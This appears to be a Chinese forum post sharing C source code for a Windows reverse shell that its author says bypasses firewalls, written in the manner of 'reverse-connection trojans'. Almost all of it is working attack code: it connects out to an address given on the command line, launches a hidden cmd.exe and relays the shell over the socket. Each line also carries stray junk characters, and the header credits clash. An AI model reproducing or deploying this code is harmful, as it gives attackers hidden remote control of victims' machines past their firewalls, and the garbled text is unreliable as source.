这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 y;m|
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/* ============================== h6L&\~pf
Rebound port in Windows NT nSDMOyj+
By wind,2006/7 o)M}!MT
===============================*/ NR$3%0 nC6
#include <`8n^m*
#include H5/6TX72N
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#pragma comment(lib,"wsock32.lib") B-RjMxX4>
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void OutputShell(); j7Yu>cr
SOCKET sClient; yt+L0wzzB
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nUaJzPl
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void main(int argc,char **argv) /cUO$m o
{ aL\PGdgO
WSADATA stWsaData; ^`i#$
int nRet; R+hU8 pu
SOCKADDR_IN stSaiClient,stSaiServer; dohA0
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if(argc != 3) ?d\N(s9F
{ Uk[b|<U-`d
printf("Useage:\n\rRebound DestIP DestPort\n"); Qab>|eSm
return; Ot0ap$&
} tH@Erh|%
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WSAStartup(MAKEWORD(2,2),&stWsaData); c1(RuP:S
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U7,e/?a
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stSaiClient.sin_family = AF_INET; f3l&3hC
stSaiClient.sin_port = htons(0); Uk wP
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5:[0z5Hww
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ZL&qp04}
{ 0@0w+&*"@
printf("Bind Socket Failed!\n"); $?iLLA~
return; W\$`w
} <18(
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stSaiServer.sin_family = AF_INET; ^rR1ZVY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); h]&GLb&<?
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :wyno#8`-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ Jl8H|<g~/
printf("Connect Error!"); dh\'<|\K
return; 8P\G}
} m]0;"jeL
OutputShell(); PcMD])Z{G
} ;W
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void OutputShell() r EE1sy/#
{ ;\dBfP
char szBuff[1024]; \ A#41
SECURITY_ATTRIBUTES stSecurityAttributes; '?' l;#^i<
OSVERSIONINFO stOsversionInfo; \;,+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xf]d. :
STARTUPINFO stStartupInfo; i v38p%Zm
char *szShell; E?f-wQF
PROCESS_INFORMATION stProcessInformation; /)>3Nq4Zx
unsigned long lBytesRead; !X#OOqPr=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K&]G3W%V
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 3BJ0S.TF
stSecurityAttributes.lpSecurityDescriptor = 0; UYJZYP%r
stSecurityAttributes.bInheritHandle = TRUE; K#d`Hyx
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); g}{aZ$sta
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (k.[GfCbD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z'n:@E
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '@KEi%-^>
stStartupInfo.wShowWindow = SW_HIDE; 9wwqcx)3(
stStartupInfo.hStdInput = hReadPipe; B%b4v
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ES7>H
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GetVersionEx(&stOsversionInfo); }!r|1$,kL
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switch(stOsversionInfo.dwPlatformId) @o _}g !9=
{ "?xHlYj@+
case 1: ZhaP2pC%4
szShell = "command.com"; J=I:CD%
break; #OD/$f_
default:
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szShell = "cmd.exe"; 3yF,ak{Sl
break; \&3+D8H>n
} +gtbcF@rx
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '9J/T57]e
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send(sClient,szMsg,77,0); [D4SW#
while(1) cf20.F{<
{ u cW-I;"
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _op}1
if(lBytesRead) 6Y?|w 3f
{ X *"i6*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7*A],:-q
send(sClient,szBuff,lBytesRead,0); { @{']Y
} qiBVGH
else 7WS p($
{ k)=s>&hl
lBytesRead=recv(sClient,szBuff,1024,0); k(G^z
if(lBytesRead<=0) break; +.FEq*V
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,i`,Oy(BI
} s)D;a-F
} CxW>~O:
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return; kv{za4,&
}